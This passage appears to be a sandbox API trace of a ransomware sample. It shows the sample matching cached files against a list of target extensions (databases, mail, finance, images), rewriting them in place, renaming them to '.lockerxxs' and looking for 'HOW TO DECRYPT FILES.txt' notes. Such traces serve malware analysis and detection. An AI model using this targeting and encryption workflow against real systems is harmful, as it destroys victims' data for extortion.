(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qbx") returned 0 [0084.323] lstrlenA (lpString="*.qbx") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qba") returned 0 [0084.323] lstrlenA (lpString="*.qba") returned 5 [0084.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qby") returned 0 [0084.324] lstrlenA (lpString="*.qby") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qbj") returned 0 [0084.324] lstrlenA (lpString="*.qbj") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.ofx") returned 0 [0084.324] lstrlenA (lpString="*.ofx") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.qif") returned 0 [0084.324] lstrlenA (lpString="*.qif") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.mye") returned 0 [0084.324] lstrlenA (lpString="*.mye") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.mbox") returned 0 [0084.324] lstrlenA (lpString="*.mbox") returned 6 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.eml") returned 0 [0084.324] lstrlenA (lpString="*.eml") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.pst") returned 0 [0084.324] lstrlenA (lpString="*.pst") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.ost") returned 0 [0084.324] lstrlenA (lpString="*.ost") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.idx") returned 0 [0084.324] lstrlenA (lpString="*.idx") returned 5 [0084.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.dbx") returned 0 [0084.324] lstrlenA (lpString="*.dbx") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.sql") returned 0 [0084.325] lstrlenA (lpString="*.sql") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.mdb") returned 0 [0084.325] lstrlenA (lpString="*.mdb") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.fdb") returned 0 [0084.325] lstrlenA (lpString="*.fdb") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.wab") returned 0 [0084.325] lstrlenA (lpString="*.wab") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.dat") returned 0 [0084.325] lstrlenA (lpString="*.dat") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.txt") returned 0 [0084.325] lstrlenA (lpString="*.txt") returned 5 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.jpeg") returned 0 [0084.325] lstrlenA (lpString="*.jpeg") returned 6 [0084.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", pszSpec="*.jpg") returned 1 [0084.325] lstrlenA (lpString="*.jpg") returned 5 [0084.325] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" [0084.326] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" [0084.326] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg." [0084.326] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.lockerxxs" [0084.326] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.326] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1fc3 [0084.326] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53089b90, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53089b90, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53089b90, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.326] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.326] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1f9d, lpOverlapped=0x0) returned 1 [0084.328] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg") returned="BBC0qlB[1].jpg" [0084.329] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.329] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1f9d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1f9d, lpOverlapped=0x0) returned 1 [0084.329] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.329] CloseHandle (hObject=0xa4) returned 1 [0084.329] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg.lockerxxs")) returned 1 [0084.330] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458308d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2ecb, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE7KPZ[1].jpg", cAlternateFileName="BBE7KP~1.JPG")) returned 1 [0084.330] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.330] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE7KPZ[1].jpg") returned 1 [0084.330] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE7KPZ[1].jpg") returned 1 [0084.330] lstrcmpiA (lpString1="", lpString2="BBE7KPZ[1].jpg") returned -1 [0084.330] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg") returned="BBC0qlB[1].jpg" [0084.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.330] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.330] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.330] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.331] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBE7KPZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.ems") returned 0 [0084.331] lstrlenA (lpString="*.ems") returned 5 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.db") returned 0 [0084.331] lstrlenA (lpString="*.db") returned 4 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.dbf") returned 0 [0084.331] lstrlenA (lpString="*.dbf") returned 5 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.myox") returned 0 [0084.331] lstrlenA (lpString="*.myox") returned 6 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.myo") returned 0 [0084.331] lstrlenA (lpString="*.myo") returned 5 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qbw") returned 0 [0084.331] lstrlenA (lpString="*.qbw") returned 5 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qbb") returned 0 [0084.331] lstrlenA (lpString="*.qbb") returned 5 [0084.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qbm") returned 0 [0084.331] lstrlenA (lpString="*.qbm") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qbo") returned 0 [0084.332] lstrlenA (lpString="*.qbo") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qbx") returned 0 [0084.332] lstrlenA (lpString="*.qbx") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qba") returned 0 [0084.332] lstrlenA (lpString="*.qba") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qby") returned 0 [0084.332] lstrlenA (lpString="*.qby") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qbj") returned 0 [0084.332] lstrlenA (lpString="*.qbj") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.ofx") returned 0 [0084.332] lstrlenA (lpString="*.ofx") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.qif") returned 0 [0084.332] lstrlenA (lpString="*.qif") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.mye") returned 0 [0084.332] lstrlenA (lpString="*.mye") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.mbox") returned 0 [0084.332] lstrlenA (lpString="*.mbox") returned 6 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.eml") returned 0 [0084.332] lstrlenA (lpString="*.eml") returned 5 [0084.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.pst") returned 0 [0084.332] lstrlenA (lpString="*.pst") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.ost") returned 0 [0084.333] lstrlenA (lpString="*.ost") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.idx") returned 0 [0084.333] lstrlenA (lpString="*.idx") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.dbx") returned 0 [0084.333] lstrlenA (lpString="*.dbx") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.sql") returned 0 [0084.333] lstrlenA (lpString="*.sql") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.mdb") returned 0 [0084.333] lstrlenA (lpString="*.mdb") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.fdb") returned 0 [0084.333] lstrlenA (lpString="*.fdb") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.wab") returned 0 [0084.333] lstrlenA (lpString="*.wab") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.dat") returned 0 [0084.333] lstrlenA (lpString="*.dat") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.txt") returned 0 [0084.333] lstrlenA (lpString="*.txt") returned 5 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.jpeg") returned 0 [0084.333] lstrlenA (lpString="*.jpeg") returned 6 [0084.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", pszSpec="*.jpg") returned 1 [0084.333] lstrlenA (lpString="*.jpg") returned 5 [0084.333] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" [0084.333] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" [0084.334] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg." [0084.334] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.lockerxxs" [0084.334] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 